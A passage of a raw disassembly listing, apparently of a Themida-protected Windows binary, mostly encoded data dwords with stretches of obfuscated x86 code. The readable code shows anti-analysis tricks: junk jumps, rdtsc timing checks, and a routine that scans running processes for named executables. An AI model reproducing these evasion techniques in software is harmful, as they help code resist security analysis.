63D876A6h, 578DC85Ch dd 0B480A66Ah, 11A58DB2h, 0BB38h, 1EF43F00h, 0E12F9501h dd 837F7393h, 88AE9CC1h, 0B29ABFB9h, 0B278481Eh, 0E7B4E6E4h dd 76DCC4E9h, 10E090F9h, 0D4ED7F16h, 0B6B080A6h, 5315A991h dd 95C85F7Ch, 23A0E92Ch, 5416BE31h, 6E000000h, 8FAF834Ah dd 0FF65AE0Bh, 7C7374D9h, 9F33995Bh, 1DF464h, 0A1A36E94h dd 82A6D20Dh, 0BDBFC293h, 758519CDh, 7326C90Fh, 0BDD6B7Fh dd 1A807A49h, 3BA70DF5h, 264B4515h, 0A66FAA3Eh, 5880E646h dd 0DC7F7393h, 0E04B861Ah, 577D1412h, 2ADD6Ah, 0F4E40000h dd 0A669001Dh, 73939840h, 34CBAB7Fh, 46A61BA6h, 739338E0h dd 0E67A3C7Fh, 0AB784210h, 3AA088ADh, 0DDDBA8CEh, 6A570E49h dd 0AA1010E0h, 7F739372h, 80144406h, 0BFC636FEh, 7F3358BEh dd 0E646B2B4h, 73495880h, 861ADC7Fh, 61C72765h, 7F7349BBh dd 9167FBBDh, 0AEA2C7C1h, 7F734968h, 0E0B0D67Ah, 995252E6h dd 0E8E6B3D9h, 7147DBC3h, 0D0FDBA1h, 1D9A00E8h, 2A4F4919h dd 6E782B7Bh, 655F2FB5h, 0B484AAE8h, 916426BAh, 2FA20874h dd 51755B5Ah, 7EF52389h, 4B07795Bh, 0DBC90131h, 19FD8941h dd 0FEFC2F9Dh, 42A8147Ah, 795B0F9Ah, 5176DC9Eh, 5B0FBB5Dh dd 5BE0479h, 574D1F45h, 0E9B64A32h, 0C159CB90h, 2826h dd 0B81E7E00h, 795B3B60h, 0B6758814h, 0AA79029h, 0E0D510A4h dd 0FDF11610h, 7F7393DFh, 32FD23C7h, 0E39C9C30h, 16938D5Dh dd 1610E0ADh, 557E51F1h, 66AB83E9h, 3DC97520h, 371D0EEBh dd 38B51B4Bh, 0E4507548h, 76BF0B7Eh, 0B3197973h, 7326C165h dd 0B5B3810Fh, 0D15FBB4Fh, 69BA3905h, 0C778846h, 339981A6h dd 0D4D6A1C7h, 51837740h, 2A732678h, 0CBAE2BE4h, 0EBC7871Ah dd 36h, 351EF418h, 0CED09C6Ah, 365BC1A9h, 92B7B582h, 72DE44AAh dd 2D10FD4Eh, 0A5395539h, 8E192F95h, 0B97B7F73h, 0FAC7ED4Dh dd 5BEFD7FCh, 3AB7B985h, 1B33h, 1EF43A00h, 12719501h, 0A4EC1ED3h dd 5EC4D468h, 7F73754Ah, 5A80ECAEh, 0A60F8C8Eh, 186DDh dd 1BF4E400h, 0D4ED67FEh, 0B1B180A6h, 73938D4Bh, 7FE5A77Fh dd 8DE725Ah, 42123838h, 9306D648h, 70327F73h, 2B7A9E0Ah dd 8C86554Fh, 0C74F7F67h, 4DB31FDCh, 7F730B8Fh, 1853E7A9h dd 0A0E92C95h, 16BE3123h, 6Ah, 341BF443h, 60C6B1F4h, 7F7343B8h dd 0E8CAFABCh, 0C75EC4ACh, 0C2E646A6h, 0C2D64C3Ch, 8D0421Ch dd 2C7F73CDh, 18C0D66Ah, 1C7F73CDh, 0CD2EEE54h, 884A7F73h dd 678C8656h, 0A682197Fh, 1214E01Bh, 3595577Bh, 739309CFh dd 0D5692B7Fh, 7182A69Ah, 5C6B21FCh, 0C41BCE25h, 0DBA46594h dd 3B6E47h, 7AA00000h, 9F87ACAEh, 1BF4D00Bh, 80A667FEh dd 0AA92B7B1h, 78A00616h, 0B7F7393h, 372DFF25h, 60B82A12h dd 147F7393h, 0A655EC52h, 23B7B180h, 80A68813h, 4E24B8AEh dd 57E98082h, 0AE80A66Ah, 0BCB686B8h, 451BAF97h, 0EDE47B75h dd 1DF4D4h, 0E92C9569h, 0BE3123A0h, 4FACCF2h, 288470h dd 0F4B10000h, 0A669001Dh, 73939840h, 6EDA9C7Fh, 557A7C48h dd 0A69ED96Dh, 1412E01Bh, 0B080A67Dh, 0D6C322B6h, 40DDh dd 1DF4E400h, 46A66900h, 32575120h, 78A0B64Ah, 487F7393h dd 0C1555722h, 0A6FD9474h, 1BE8B280h, 0A492B71Dh, 73939E3Eh dd 72D89A7Fh, 4A6ECEDEh, 2A3CCAA6h, 0A974A6EBh, 0E0D813A7h dd 577D1412h, 1315E06Ah, 8DA00EEh, 0B5687E12h, 337F7393h dd 9964EAA3h, 0E0B11A97h, 7D774715h, 936DAB11h, 45077F73h dd 3B06BADFh, 0AF4D1439h, 0A3A570F6h, 89FFE226h, 2A537F73h dd 0BB313550h, 0FFFE5166h, 46A693FFh, 739338E0h, 0BAB03C7Fh dd 0FF56F4DBh, 0CAE074DAh, 7F730E16h, 730E2C70h, 0D41967Fh dd 0E7397F73h, 0DF7F730Dh, 7F730D3Dh, 730D5385h, 87AC7F3Fh dd 7AC9B51Bh, 0E9ABB55Eh, 345124C4h, 378762C8h, 27E9B370h dd 0F59E6B9h, 80371274h, 26Bh, 17E7445h, 0B4312FFDh, 65E2E4B0h dd 1C998F61h, 0D04D4B18h, 633081CDh, 15E4E865h, 0CF9A9E1Bh dd 7C4C50CDh, 4FDF0582h, 5EE733E9h, 0FD724579h, 0F11610E0h dd 0E9557E51h, 2066A783h, 8E0BCD75h, 5EFE964Ah, 54714479h dd 0B1C82E8h, 5E20730Dh, 4FACCF2h, 49EA3298h, 0CC8E7329h dd 0A2C82838h, 0CBB3D8D2h, 97916137h, 4C46161Ah, 49E93327h dd 52257329h, 435FC531h, 0A1797ABCh, 7D4D73DFh, 32020683h dd 0A0731338h, 0D4C1177Dh, 0B1736DFBh, 5D79DF4Bh, 0BF67A821h dd 3E636531h, 6084F056h, 59019F4Dh, 541DB1E8h, 58C4E1B4h dd 95F268F2h, 5ECA8C6Dh, 0F16E6838h, 0C2C08DB3h, 8E88582Eh dd 0B9A37569h, 9C6F6190h, 85A50B77h, 0EF6BC37Ch, 9568082Dh dd 0E39E0470h, 85504B26h, 460855C3h, 0C9A49364h, 18212h dd 958B5C00h, 48461418h, 0F9FBC7CBh, 0B0A6787Ch, 64622F33h dd 47B6E4E7h, 0FBFF7C7Ah, 0B1B5322Ch, 6367E4E6h, 0F61C9993h dd 0E6D80066h, 895C795Eh, 421F414h, 45123898h, 8D9DB347h dd 33752066h, 0B0443E0Dh, 7F6D9254h, 0FE63B91Fh, 5315795Eh dd 92AFDBFh, 0EFA4379Dh, 14D67376h, 981E7A6h, 5910EBB4h dd 11Bh, 0B12E24F5h, 64E1DFADh, 15929460h, 0CC493F11h dd 80FDFBC8h, 13E0D17Dh, 0C5949815h, 7F4A4ECBh, 2CFC007Dh dd 0FF8FB532h, 5EE64399h, 0AD22F579h, 980421F4h, 0B6741438h dd 14A37C02h, 50E44A44h, 208F183Ah, 20EE7C75h, 0C566B61Ch dd 5012795Dh, 0F41884EAh, 89C1D4B5h, 4795FBB9h, 0F1795D4Ah dd 6C35C92Fh, 71EEE8B8h, 7EA39D6Dh, 7EEA0BDEh, 0EBF8618h dd 77F4B673h, 0B2B81539h, 733575F0h, 56BEBE43h, 0A83C0CB8h dd 6C3A04D2h, 878B086Eh, 211FEDBBh, 70A80EFCh, 4732F15h dd 0DCAADC42h, 6BD1B9DEh, 2218EAEEh, 0C3C590B6h, 122B69Eh dd 5CF9DC3h, 30183D33h, 936036CAh, 91F7FBC9h, 732F154Bh dd 5FC52BEDh, 1311DEE2h, 0C9C39296h, 7B7D484Ch, 302AFAFEh dd 0D3D19EC4h, 4B1A1E3Fh, 7096D451h, 90BD7A5h, 0A4A671A3h dd 907B4E10h, 53C4E9AAh, 7BE74D96h, 7C8A8115h, 0CCF1B379h dd 0E24E4818h, 0CAFC1C82h, 0EA786DF9h, 15FD2218h, 0F3FA1BAFh dd 3, 0E03A87FAh, 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h dd 4AE868h, 240C8900h, 6B7768h, 241C8900h, 5E08950h, 4 dd 42Dh, 24048700h, 2414895Ch, 8904EC83h, 4AB9240Ch, 89062D6Dh dd 0DA6859CBh, 8900004Ch, 4812424h, 424h, 53535A00h, 5378DABBh dd 245C311Bh, 428F5B04h, 8728108h, 1B5378DAh, 5A2434FFh dd 4C481h, 1C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4 dd 5C241C87h, 0FB0834E9h, 0FBBDF0FFh, 0DC24C466h, 22188F95h dd 0B8B15EFDh, 62D772Bh, 0C38BC503h, 266E9h, 8C666000h dd 4C1F6D9h, 35840Fh, 16A0000h, 2DD5B5FFh, 858D0628h, 62B6F58h dd 8589D0FFh, 62823DDh, 0EFC1FE8Bh, 680Ch, 6A2006h, 6857026Ah dd 1000Dh, 23DD95FFh, 32E90628h, 0C6000000h, 280D2585h dd 0DF685606h, 0FFA9C530h, 28140DB5h, 58858D06h, 0FF062B6Fh dd 9D8589D0h, 8D062821h, 2819AD85h, 406A5006h, 0FF56056Ah dd 28219D95h, 0C36106h, 2 dup(0) dd 52000000h, 8B60D48Bh, 85890842h, 62D7842h, 890C428Bh dd 2D783A85h, 10428B06h, 783E8589h, 0B58D062Dh, 62D7878h dd 8EA1858Dh, 0D0FF005Bh, 0CC25A61h, 42B58B00h, 8B062D78h dd 2D783A85h, 3EBD8306h, 62D78h, 7840Fh, 6890000h, 2E9h dd 0CF068800h, 2 dup(0) ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+62D7842h], eax lea esi, [ebp+62D78C9h] lea eax, dword_5B8EA1[ebp] call eax popa pop edx mov eax, [ebp+62D7842h] retn 4 ; --------------------------------------------------------------------------- dw 858Bh dd 62D7842h, 8589008Bh, 62D7842h, 0CFh, 0B5896000h, 62D789Fh dd 789B8589h, 858D062Dh, 6280561h, 8944408Bh, 2D78D885h dd 0EB58D06h, 8D062D79h, 5B8EA185h, 61D0FF00h, 789F858Bh dd 8BC3062Dh, 2D789B9Dh, 43B70F06h, 8BD8033Ch, 9D03785Bh dd 62D789Bh, 324738Bh, 2D789BB5h, 7B8B5606h, 1C738B20h dd 789BBD03h, 0B503062Dh, 62D789Bh, 0FFC983FCh, 9F9D8B41h dd 8B062D78h, 9B950317h, 83062D78h, 28A04C7h, 840FC084h dd 0Fh, 850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 9B850386h, 89062D78h dd 2D789F85h, 8BF08B06h, 81C18BCEh, 2D78D8BDh, 30000006h dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h dd 3FF8h, 78D8BD8Bh, 0C83062Dh, 148B0607h, 24C28B07h, 8B813C81h dd 57840FC1h, 81000000h, 2D78D8BDh, 30000006h, 0D850FC0h dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h dd 2Dh, 6088340h, 8000F7h, 840F0000h, 1Eh, 78D8BD81h, 62Dh dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h, 8DCF0608h dd 2D784685h, 5D858906h, 8D062833h, 2D78DC85h, 9858906h dd 8D062834h, 2D78A385h, 0E1858906h, 0E906280Ch, 13Ch dd 4Fh dup(0) ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6283201h], 1 jz loc_5A138D pusha jmp loc_5A0EF8 ; --------------------------------------------------------------------------- ror dword ptr [edi], 1 idiv dword ptr [edx-7C371D69h] mov al, ds:0CBB5E5ADh jmp short loc_5A0F58 ; --------------------------------------------------------------------------- test ebx, edi loc_5A0EF8: ; CODE XREF: Themida_:005A0EE2j mov eax, 31283C3Bh popa mov byte ptr [ebp+6280D25h], 43h jbe loc_5A0F14 pusha cmc and esi, 297A044Ah popa loc_5A0F14: ; CODE XREF: Themida_:005A0F05j push 0B76ADE2Dh pusha push ecx mov edx, ebx pop ecx push esi push edx pop eax pop esi popa add dword ptr [esp], 353AF2C8h jz loc_5A0F4D jb loc_5A0F4D jmp loc_5A0F4D ; --------------------------------------------------------------------------- xor eax, 81403D91h add al, 74h cmp eax, 21B46085h pop edx imul ch retn ; --------------------------------------------------------------------------- align 4 db 2Ch ; --------------------------------------------------------------------------- loc_5A0F4D: ; CODE XREF: Themida_:005A0F2Aj ; Themida_:005A0F30j ... push dword ptr [ebp+628140Dh] jmp loc_5A0F6C ; --------------------------------------------------------------------------- loc_5A0F58: ; CODE XREF: Themida_:005A0EF4j movsb dec eax repne frstor byte ptr [ecx+0Ah] mov ch, 7Ah jbe short near ptr loc_5A0FA0+1 xor ch, bl daa enter 57AEh, 11h ; --------------------------------------------------------------------------- db 0BDh, 92h, 45h ; --------------------------------------------------------------------------- loc_5A0F6C: ; CODE XREF: Themida_:005A0F53j lea eax, [ebp+62B6F58h] pusha popa call eax jnz loc_5A0F84 jge loc_5A0F84 pusha popa loc_5A0F84: ; CODE XREF: Themida_:005A0F76j ; Themida_:005A0F7Cj mov [ebp+62818A1h], eax jmp loc_5A0F99 ; --------------------------------------------------------------------------- db 64h dd 0C0635407h, 69986AF9h ; --------------------------------------------------------------------------- pop edx loc_5A0F99: ; CODE XREF: Themida_:005A0F8Aj mov byte ptr [ebp+6280D25h], 50h loc_5A0FA0: ; CODE XREF: Themida_:005A0F60j jnp loc_5A0FA7 clc loc_5A0FA7: ; CODE XREF: Themida_:loc_5A0FA0j call near ptr loc_5A0FAF+1 push esi lodsd lodsd loc_5A0FAF: ; CODE XREF: Themida_:loc_5A0FA7p test al, 60h push edx jmp loc_5A0FC3 ; --------------------------------------------------------------------------- db 5Bh dd 2E683A6h, 4B13F658h db 28h, 0D4h, 1Ch ; --------------------------------------------------------------------------- loc_5A0FC3: ; CODE XREF: Themida_:005A0FB2j pop edx jp loc_5A0FCC mov dh, 4Eh loc_5A0FCC: ; CODE XREF: Themida_:005A0FC4j popa push eax pusha push eax push esi pop edi pop ecx popa mov eax, [esp+4] push eax push edx jb loc_5A0FE6 jp $+6 loc_5A0FE6: ; CODE XREF: Themida_:005A0FDAj rdtsc jmp loc_5A1001 ; --------------------------------------------------------------------------- db 93h, 60h, 0F2h dd 5AB1BCA5h, 0D2658BE6h, 0AD14EA64h, 58619B11h db 0Fh ; --------------------------------------------------------------------------- loc_5A1001: ; CODE XREF: Themida_:005A0FE8j pop edx pop eax mov eax, [eax] jge loc_5A1027 jbe loc_5A1027 jmp loc_5A1027 ; --------------------------------------------------------------------------- dw 0AF12h dd 205E8AA3h, 790EE4ACh, 4103C8Fh db 55h, 0FFh, 4Fh ; --------------------------------------------------------------------------- loc_5A1027: ; CODE XREF: Themida_:005A1005j ; Themida_:005A100Bj ... mov [esp+4], eax jo loc_5A103E jmp loc_5A103E ; --------------------------------------------------------------------------- dw 9C03h dd 1739A1A3h db 4Ah, 83h ; --------------------------------------------------------------------------- loc_5A103E: ; CODE XREF: Themida_:005A102Bj ; Themida_:005A1031j pop eax push 0 push ebx call sub_5A104A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A104A proc near ; CODE XREF: Themida_:005A1042p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5A104A endp ; --------------------------------------------------------------------------- sub bh, bh mov ch, 0Dh adc al, 28h push es jnb loc_5A1068 stc loc_5A1068: ; CODE XREF: Themida_:005A1061j lea eax, [ebp+62B6F58h] jo loc_5A1082 jmp loc_5A1082 ; --------------------------------------------------------------------------- align 2 setalc fcomp dword ptr ds:0E2309E55h wait loc_5A1082: ; CODE XREF: Themida_:005A106Ej ; Themida_:005A1074j call eax pusha push eax jmp loc_5A109B ; --------------------------------------------------------------------------- db 0BFh dd 0CAEA5AADh, 0F91B2736h, 6AE03203h db 0E9h, 36h, 84h ; --------------------------------------------------------------------------- loc_5A109B: ; CODE XREF: Themida_:005A1086j pop esi pusha sub cx, 0BDF4h mov bx, 0A2BCh popa popa mov [ebp+6280BD5h], eax jo loc_5A10C0 jp loc_5A10C0 jns $+6 loc_5A10C0: ; CODE XREF: Themida_:005A10AEj ; Themida_:005A10B4j call near ptr loc_5A10C8+1 das test al, 8Fh loc_5A10C8: ; CODE XREF: Themida_:loc_5A10C0p lock push eax push edx pusha call sub_5A10DC xchg eax, edx add ah, ah adc dl, [edi+5B7D6B0Ah] in al, 8Fh ; DMA page register 74LS612: ; refresh ; =============== S U B R O U T I N E ======================================= sub_5A10DC proc near ; CODE XREF: Themida_:005A10CCp arg_20 = dword ptr 24h arg_28 = dword ptr 2Ch arg_38 = dword ptr 3Ch pop esi popa rdtsc pusha mov edx, 8A06808h popa pop edx pop eax push eax jmp loc_5A10FC ; --------------------------------------------------------------------------- db 84h dd 0C421B6CFh, 0CEE992D9h, 0A121DD32h ; --------------------------------------------------------------------------- loc_5A10FC: ; CODE XREF: sub_5A10DC+Ej mov eax, [esp-28h+arg_28] ja loc_5A111C jmp loc_5A111C ; --------------------------------------------------------------------------- db 0E9h dd 497C45D0h, 39B4F842h, 0E26C2FACh, 0AD52B2FFh ; --------------------------------------------------------------------------- loc_5A111C: ; CODE XREF: sub_5A10DC+24j ; sub_5A10DC+2Aj mov eax, [eax] pusha mov dh, 34h jmp loc_5A112D ; --------------------------------------------------------------------------- dw 409Ch dd 0E6040BF6h db 0Dh ; --------------------------------------------------------------------------- loc_5A112D: ; CODE XREF: sub_5A10DC+45j popa mov [esp-28h+arg_28], eax jmp loc_5A1146 ; --------------------------------------------------------------------------- db 1 db 0CCh db 8Ah, 41h, 85h dd 1969097Ch, 5E08B1FAh db 56h, 0CFh ; --------------------------------------------------------------------------- loc_5A1146: ; CODE XREF: sub_5A10DC+56j pop eax cld push dword ptr [ebp+628140Dh] jp loc_5A115E pusha or dx, 0F964h mov ax, di popa loc_5A115E: ; CODE XREF: sub_5A10DC+72j lea eax, [ebp+62B6F58h] clc call eax stc jmp loc_5A117A ; --------------------------------------------------------------------------- db 64h, 0A8h, 59h dd 0B359090Ch, 6E8B7196h db 0D9h, 94h ; --------------------------------------------------------------------------- loc_5A117A: ; CODE XREF: sub_5A10DC+8Cj mov [ebp+6282F95h], eax ja loc_5A1191 pusha jnz $+6 mov di, bx popa loc_5A1191: ; CODE XREF: sub_5A10DC+A4j mov byte ptr [ebp+6280D25h], 50h jz loc_5A11A5 jz loc_5A11A5 cld loc_5A11A5: ; CODE XREF: sub_5A10DC+BCj ; sub_5A10DC+C2j push 0E6481335h jbe loc_5A11D5 push eax push edx jle $+6 rdtsc jmp loc_5A11D3 ; --------------------------------------------------------------------------- db 0ECh dd 5677520Ch, 0BDC32CC6h, 1593325Ch, 33C0DD0Bh db 99h, 0Eh, 0D4h ; --------------------------------------------------------------------------- loc_5A11D3: ; CODE XREF: sub_5A10DC+DEj pop edx pop eax loc_5A11D5: ; CODE XREF: sub_5A10DC+CEj xor [esp-24h+arg_20], 71D4CF63h clc pusha mov bx, si popa push dword ptr [ebp+6282DD5h] jmp loc_5A1200 ; --------------------------------------------------------------------------- add al, 5Bh dec ebp fldcw word ptr [ecx-217E651Eh] and esi, [ebp-2B9DD767h] scasb jmp short loc_5A1246 ; --------------------------------------------------------------------------- dec edx loc_5A1200: ; CODE XREF: sub_5A10DC+10Cj lea eax, [ebp+6283BBBh] jge loc_5A1213 jg loc_5A1213 clc loc_5A1213: ; CODE XREF: sub_5A10DC+12Aj ; sub_5A10DC+130j call eax pusha jmp loc_5A1220 ; --------------------------------------------------------------------------- db 79h dd 0FB583DD9h ; --------------------------------------------------------------------------- loc_5A1220: ; CODE XREF: sub_5A10DC+13Aj mov cx, bx popa mov [ebp+6282F15h], eax pusha mov eax, ebx mov edi, 0E54CF17h popa jmp loc_5A138D ; --------------------------------------------------------------------------- dd 0E853006Ah, 3, 5BC35B20h db 89h, 5Ch ; --------------------------------------------------------------------------- loc_5A1246: ; CODE XREF: sub_5A10DC+121j and al, 4 add [esp-20h+arg_20], 18h inc ebx push ebx retn ; --------------------------------------------------------------------------- aam 0D6h test bh, ch shl byte ptr [eax-80h], 0EDh pop edi add edi, 6AACB9C3h popa push eax jmp loc_5A1276 ; --------------------------------------------------------------------------- db 0B7h, 0D4h, 6Dh dd 9187C9F8h, 87FC9A7Fh db 0AAh, 0FEh ; --------------------------------------------------------------------------- loc_5A1276: ; CODE XREF: sub_5A10DC+188j mov [esp-3Ch+arg_38], ebp jno loc_5A1280 clc loc_5A1280: ; CODE XREF: sub_5A10DC+19Dj mov ebp, esp push 0 push ecx call loc_5A128D and [ecx-3Dh], bl loc_5A128D: ; CODE XREF: sub_5A10DC+1A9p pop ecx mov [esp-38h+arg_38], ecx add [esp-38h+arg_38], 16h inc ecx push ecx retn ; --------------------------------------------------------------------------- push ebx dec edx mul dword ptr [eax-4] call near ptr loc_5A12AF+5 xor al, [edi+0CDBCEF0h] adc edi, [ecx] loc_5A12AF: ; CODE XREF: sub_5A10DC+1C6p add ebx, 66523E80h mov eax, 61585661h add esp, 0FFFFFFFCh stc pusha jmp loc_5A12CB ; --------------------------------------------------------------------------- dd 89A6B170h db 0BDh, 5Ah, 9Ah ; --------------------------------------------------------------------------- loc_5A12CB: ; CODE XREF: sub_5A10DC+1E3j call $+5 pop edx sub edx, 62D7F8Bh mov dword ptr [ebp-4], 0 cmp dword ptr [edx+6283201h], 1 jz loc_5A1383 push edx push 0 push 0Fh call dword ptr [edx+62818A1h] pop edx mov [edx+62D7A53h], eax lea ebx, [edx+62D7A57h] push edx mov dword ptr [ebx], 128h push ebx push eax call dword ptr [edx+6280BD5h] pop edx loc_5A1313: ; CODE XREF: sub_5A10DC+261j ; sub_5A10DC+295j push edx lea ebx, [edx+62D7A57h] push ebx push dword ptr [edx+62D7A53h] call dword ptr [edx+6282F15h] pop edx or eax, eax jz short loc_5A137C lea ebx, [edx+62D7A57h] lea edi, [ebx+24h] xor ecx, ecx loc_5A1337: ; CODE XREF: sub_5A10DC+26Bj cmp ecx, 104h jz short loc_5A1313 inc ecx cmp dword ptr [ecx+edi], 4558452Eh jnz short loc_5A1337 lea esi, [ecx+edi] sub esi, [ebp+0Ch] lea edi, [edx+6280979h] mov ecx, [ebp+0Ch] rep movsb xor al, al stosb push edx push dword ptr [ebp+8] lea eax, [edx+6280979h] push eax call dword ptr [edx+6282F95h] pop edx or eax, eax jnz short loc_5A1313 mov dword ptr [ebp-4], 1 jmp short loc_5A1383 ; --------------------------------------------------------------------------- loc_5A137C: ; CODE XREF: sub_5A10DC+24Ej mov dword ptr [ebp-4], 0 loc_5A1383: ; CODE XREF: sub_5A10DC+209j ; sub_5A10DC+29Ej popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- cld cld loc_5A138D: ; CODE XREF: Themida_:005A0EDBj ; sub_5A10DC+157j mov edx, edx lea ecx, [ebp+62D8115h] push 0 push ebx call sub_5A13A0 and [ebx-3Dh], bl sub_5A10DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A13A0 proc near ; CODE XREF: sub_5A10DC+2BCp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5A13A0 endp ; --------------------------------------------------------------------------- dd 6830FECh, 89000000h, 281D359Dh, 158D8906h, 8B062807h dd 2810C99Dh, 0BD85C706h, 64062821h, 6A00005Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 1E5AC351h, 13890Fh, 7E80000h, 86000000h, 5D9B2DD8h dd 85013A9Fh, 6280185h, 3D85C75Ah, 62811h, 81000000h, 0F14682F0h dd 0A5950138h, 0FF062816h, 282EC9B5h, 0C8816606h, 95FF73F2h dd 62814D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0BC35141h, 66BB6279h, 6A3DADBFh, 6595FF00h, 8B062804h dd 6C5FEBC0h, 0AC983703h, 0BC35E67Ch, 0F7199CA1h, 20B0CA94h dd 93C07D0Eh, 3584CEA3h, 4BD64502h, 2BFB300Dh, 8B8D2507h dd 0E7FD953Ah, 2DC435FEh, 248539CFh, 3BC5B77Fh, 598A5450h dd 0E775D8BEh, 5A26FEE6h, 458F7835h, 92C40451h, 3C12F3E6h dd 0C4800985h, 0D0E24F8Eh, 0D8BA5EC4h, 6DFA2D31h, 6E8968Eh dd 3000000h, 3E0E63FAh, 0E1B58BD0h, 5B062826h, 0ADC381F9h dd 66000073h, 0D233C18Bh, 1A34FFFCh, 24C18159h, 0E924CFB8h dd 14h, 0D0F38CF1h, 0EAFDD6EFh, 389F2B33h, 0E5C394DEh dd 0B1218D0Bh, 5E7BE981h, 81F51647h, 8533F9E9h, 18B0F2Ah dd 0F5000000h, 66130C89h, 0B866F78Bh, 0EA83E4C5h, 75958904h dd 81062819h, 0FF8CE8FAh, 10850FFFh, 0F000000h, 21E9FBB7h dd 51000000h, 85C14BCAh, 66EC78FCh, 0E9CC0DBEh, 0FFFFFF91h dd 255FFDFDh, 76FDE95h, 9B40D7F9h, 0DE0E43A6h, 82E38D8Dh dd 6A062Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0A4FA2AC3h, 89F5DCF5h, 2807158Dh, 0BE906h dd 0EC350000h, 8A3AFE92h, 0F2FD2E4Fh, 0BD85C760h, 4062821h dd 6A000071h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0FE29C357h, 49A9DE07h, 0C7021E75h dd 28113D85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0DB8F6EE9h, 0FF2981DFh dd 282B59B5h, 0FFFD8A06h, 2814D995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0DB802676h dd 0FF006A15h, 28046595h, 0EBC08B06h, 0C5CF73Ch, 0DF4B38A2h dd 67319271h, 0A797D5B5h, 0BE723893h, 0AA845523h, 0E81B585Dh dd 88268C4Eh, 9E1DC3CCh, 76AACFC8h, 8FF6DCEFh, 5D259773h dd 2A605B39h, 80F677F2h, 0C58D8ABh, 24E97Eh, 45A00000h dd 724h, 7 dup(0) dd 23E90000h, 8E000005h, 464AC7BDh, 0F9FD7A78h, 0AAAE2B2Dh dd 6165E2D8h, 16199694h, 0AEAC7948h, 645E2D31h, 1618E3E7h dd 0CBC59599h, 3298284Eh, 795E10EAh, 0A646BB8Eh, 421D0E82h dd 28477775h, 694E7EFBh, 1A9E8181h, 4212E87Ch, 0A26F2348h dd 0A50B0DD8h, 5A542428h, 56214735h, 0AF7B2F54h, 0DDB347ADh dd 81A7130Dh, 0E094B9AFh, 8F01513h, 57450EA2h, 26398E33h dd 49DDC587h, 82A7A573h, 0F17730A8h, 1DBB2121h, 177F730Eh dd 5F83EF55h, 51F2AEDh, 0CCED81BFh, 7EFBFDC8h, 88ADAF7Ah dd 0E60B05D4h, 8050761Ah, 0E5796186h, 0DBA62CE5h, 0FA1E5CD9h dd 0F6113961h, 0AE074EEh, 2D1B403Ah, 193E3807h, 54879D31h dd 887F73E7h, 2356D38Ch, 6FBB31A3h, 0EFC4354Bh, 0FE6A818Ch dd 73624098h, 9E32F47Fh, 45B2h, 10E0DF00h, 9372AA10h, 44067F73h dd 11C5B9DEh, 0C57F7393h, 0E69310C9h, 0D0BB312Fh, 1, 0E12E0FDh dd 739370A8h, 0DC42047Fh, 82784A70h, 0A37125EEh, 0FACC80A5h dd 8D05DF04h, 82804ED4h, 37310105h, 80A651BAh, 481EB2B4h dd 0E4E6B17Bh, 0D7A5D7BFh, 9A4E73D9h, 0E2A9CECCh, 38058B44h dd 0E9B9BD3Ah, 915D83EFh, 7E32FB8Fh, 988BB0B2h, 6D1C9952h dd 49BB312Dh, 76h, 1513E076h, 6E703CF0h, 0CDC39549h, 2729F4A8h dd 0E49D3B02h, 0A15AD22Ah, 0D3504E1Bh, 683802CFh, 2FE3086Eh dd 0D7FB675Dh, 0B3853F75h, 80B098BDh, 4BDFF969h, 90498F82h dd 31D07613h, 56BC1CBBh, 7F733E86h, 705CF0B2h, 53h, 1513E09Dh dd 0CDC02F0h, 7592E212h, 0CB2FCDC0h, 0C8966137h, 7095FBFDh dd 0EA70298Bh, 53B31F1Dh, 73AF2FEDh, 0F387497Fh, 12E069D2h dd 9370A80Eh, 0BE8A7F73h, 0DC4204BCh, 0D3A3C9B7h, 38CCB4D9h dd 7393FF22h, 6E27237Fh, 312F88F1h, 12EBBh, 0E05B0000h dd 0FFED1214h, 0E9BA5BDBh, 0EA26A48h, 0D4A26838h, 63C9B1D6h dd 0BCBE8A3Eh, 1018E397h, 736A72AAh, 0DE44067Fh, 3D3305B9h dd 4BE77DBh, 0E76D26BAh, 6FAD131Bh, 97F736Ah, 0C894B07Dh dd 0D53BA05Dh, 2F02F26Fh, 143A9A06h, 2DA4048h, 367F7347h dd 1E90E74h, 588C576Dh, 0ECAE755Bh, 494313C7h, 0FEF8C8CCh dd 4831E5D9h, 0FDC9795Bh, 5722D6FBh, 0CB693055h, 93F55812h dd 0BE8454DAh, 0E7CFF4EEh, 86ECE6B5h, 3B350509h, 0DDDBA9CFh dd 0FCCC8049h, 0A4709602h, 8D036A2h, 2C795B48h, 460DD66Ah dd 9969EFA8h, 410D339Fh, 9E321A3Fh, 9F7827Dh, 56BFC15Ah dd 0EC000001h, 80E646A6h, 7F739358h, 70A81ADCh, 47F7393h dd 19ECAE42h, 3EAEF32h, 0B1E34A6Bh, 0D7BFE4E6h, 5CE10571h dd 0E8E8F453h, 0A676DC48h, 0D27F7309h, 66C7C10h, 755BC4A3h dd 71A70DD5h, 